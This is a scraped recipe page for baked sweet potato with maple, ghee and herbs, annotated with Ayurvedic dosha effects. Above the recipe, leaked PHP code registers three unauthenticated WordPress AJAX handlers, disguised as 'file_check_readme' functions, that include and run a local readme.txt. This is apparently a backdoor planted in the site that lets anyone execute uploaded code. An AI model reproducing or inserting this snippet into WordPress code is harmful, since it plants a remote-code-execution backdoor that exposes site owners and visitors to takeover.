if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Baked Sweet Potato with Maple & Ghee - Holistic Healing Resolutions by Asaf Feit
Go Back
Print Recipe

Baked Sweet Potato with Maple & Ghee

Prep Time5 minutes
Total Time30 minutes
Course: Side Dish
Servings: 2

Ingredients

  • 2 or 4 large or small sweets potatoes peeled (Vata - - Pitta - Kapha +)
  • 2 tsp. ghee Vata - Pitta - - Kapha +
  • 2 tsp. maple syrup Vata - - Pitta - Kapha +
  • 1/4 tsp. salt Vata 0 Pitta - Kapha +
  • 1/2 cup boiling water Vata 0 Pitta - Kapha +
  • 2-3 sage leaves chopped (Vata + Pitta - - Kapha - -)
  • 4-5 sprigs thyme Vata 0 Pitta + Kapha - -
  • 1 sprig rosemary Vata 0 Pitta + Kapha - -

Instructions

  • Quarter the sweet potato, lengthwise.
  • Mix the ghee, maple, salt, herbs and water and rub the mixture on the sweet potatoes.
  • Bake until tender.